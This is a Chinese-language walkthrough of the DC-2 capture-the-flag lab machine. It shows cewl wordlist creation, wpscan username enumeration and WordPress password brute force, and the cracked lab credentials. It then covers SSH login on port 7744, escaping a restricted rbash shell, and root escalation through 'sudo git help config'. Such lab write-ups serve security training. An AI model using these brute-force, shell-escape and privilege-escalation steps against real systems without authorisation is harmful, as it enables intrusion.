靶机地址:192.168.99.150(DC-2)链接
渗透机:192.168.99.188(Kali)
物理主机:192.168.99.107(Windows10)
目标:尽可能拿到更多的flag,有5个
nmap主机发现:
访问80端口,发现是一个WordPress站点,首页有flag1,如下
似乎是让我们对用户进行爆破,但常规的密码字典里可能没有我们所需要的密码,于是采用Cewl
进行密码信息搜集
cewl http://dc-2/ -m 3 -d 3 -e -v -w wppass.txt
-m 最小单词长度
-d:爬网深度
-e:收集包含email地址信息
-v:Verbose模式,该模式下,Cewl会导出目标网站的详细数据
-w:保存字典文件
得到字典后使用wpscan对网站后台进行扫描测试
wpscan --url http://dc-2/ -e u -P /home/kali/msf_exp/wppass.txt
-e: 枚举 u表示枚举用户
-P: 爆破密码字典路径
拿到两个用户的用户名和密码
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
登录后台,在page里拿到flag2
找其它的切入点,前面nmap在0-1000的端口中只扫到了一个80端口,加大力度,改成0-10000
扫到一个7744的ssh端口,tom用户连上使用wp的后台密码即可登录,jerry不行,可能不是这个密码,也可能jerry不允许ssh登录
登录目录下找到flag3,less查看
随后尝试很多命令用不了,当前目录下的usr目录也进不去,查看当前目录下所有文件,查看.bash_history
ls -al usr/bin
有四个命令可以用,并且使用的是rbash,一个功能受限的bash,限制性可能会有如下
- 使用命令cd更改目录
- 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
- 指定包含参数
'/'
的文件名 - 指定包含参数
' - '
的文件名 - 使用重定向输出
'>', '>>', '> |', '<>' '>&','&>'
使用scp绕过
还可以这样
也可以用vi,方法不唯一,搬张图,可参考文末的链接
在jerry的用户目录下找到flag4.txt
you're on your own now. :-)
,线索git
配置当前shell环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
大部分命令可用了
根据flag3的提示,su切换到jerry,密码就是上面的密码,sudo -l
看看用户可以用sudo运行一些命令
git可用,git提权
sudo git help config
在末行命令模式输入 !/bin/bash 或 !'sh'
成功拿到最后的flag
参考:
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues